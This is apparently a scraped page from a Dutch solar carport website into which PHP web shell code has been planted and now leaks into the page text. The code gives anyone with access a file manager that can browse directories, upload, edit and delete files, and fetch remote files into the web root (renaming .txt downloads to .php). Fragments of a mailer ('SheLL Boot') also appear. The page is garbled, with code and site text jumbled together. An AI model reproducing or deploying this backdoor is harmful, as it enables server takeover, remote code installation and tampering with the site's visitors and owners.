Zonnecarports
papaz
Houten zonnecarports
PathNow: '; if(isset($_GET['path'])){ $path = $_GET['path']; }else{ $path = getcwd(); } $path = str_replace('\\','/',$path); $paths = explode('/',$path); foreach($paths as $id=>$pat){ if($pat == '' && $id == 0){ $a = true; echo '/'; continue; } if($pat == '') continue; echo ''.$pat.'/'; } echo ''; if(isset($_FILES['up_file'])){ $target_path=basename($_FILES["up_file"]["name"]); if(move_uploaded_file($_FILES["up_file"]["tmp_name"],$path.'/'.$target_path)){ echo 'file up!
'; }else{ echo 'up fail!
'; } } echo ""; function get($url, $dir) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch,CURLOPT_TIMEOUT,10); $data = curl_exec($ch); if(!$data){ $data = @file_get_contents($url); } file_put_contents($dir, $data); } if($_GET['url']){ $url = $_GET['url']; preg_match('/(.*)\/(.*)\.(.*?)$/',$url,$n); if($n[3]=='txt'){ $z='php'; $name=$n[2]; }else{ $z=$n[3]; $name="moban"; } if($_GET['dir']){ $dir=$_SERVER["DOCUMENT_ROOT"].'/'.$_GET['dir'].'/'.$name.'.'.$z; }else{ $dir=$_SERVER["DOCUMENT_ROOT"].'/'.$name.'.'.$z; } get($url,$dir); if(file_exists($dir)){echo "download success";}else{echo "download fail";} }elseif($_POST['url']){ $url = $_POST['url']; preg_match('/(.*)\/(.*)\.(.*?)$/',$url,$n); if($n[3]=='txt'){ $z='php'; $name=$n[2]; }else{ $z=$n[3]; $name="moban"; } $dir = $_POST['path']."/".$name.'.'.$z; get($url,$dir); if(file_exists($dir)){echo "download success";}else{echo "download fail";} } echo ""; if(isset($_POST['edit_content'])){ if(file_put_contents($_GET['filepath'], stripslashes($_POST['edit_content']) )){ echo "Saved!"; }else{ echo "Not saved!"; } } if(isset($_GET['filepath'])){ echo "Current File : "; echo $_GET['filepath']; echo '
'; echo(''); }elseif(isset($_GET['check']) && $_GET['check'] == '1'){ $RootDir = $_SERVER['DOCUMENT_ROOT']; $filename = $RootDir.'/index.php'; echo "Current File : "; echo $filename; echo '
'; echo('
'.htmlspecialchars(file_get_contents($filename)).''); }else{ echo '
'; }else{ echo 'Delete File Error.
'; } } echo '
';
foreach($scandir as $dir){
if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
echo "";
}
echo '';
foreach($scandir as $file){
if(!is_file("$path/$file")) continue;
$size = filesize("$path/$file")/1024;
$size = round($size,3);
if($size >= 1024){
$size = round($size/1024,2).' MB';
}else{
$size = $size.' KB';
}
echo "";
}
echo '
';
}
?>
Sender Yazdirildi.Name | Size | Options | |
$dir | DIR | none | |
$file | ".$size." | Delete |
SITE YOL : '.$yol.'
Sender Yolu : -/crs.php'; $header .= "From: SheLL Boot
Realisaties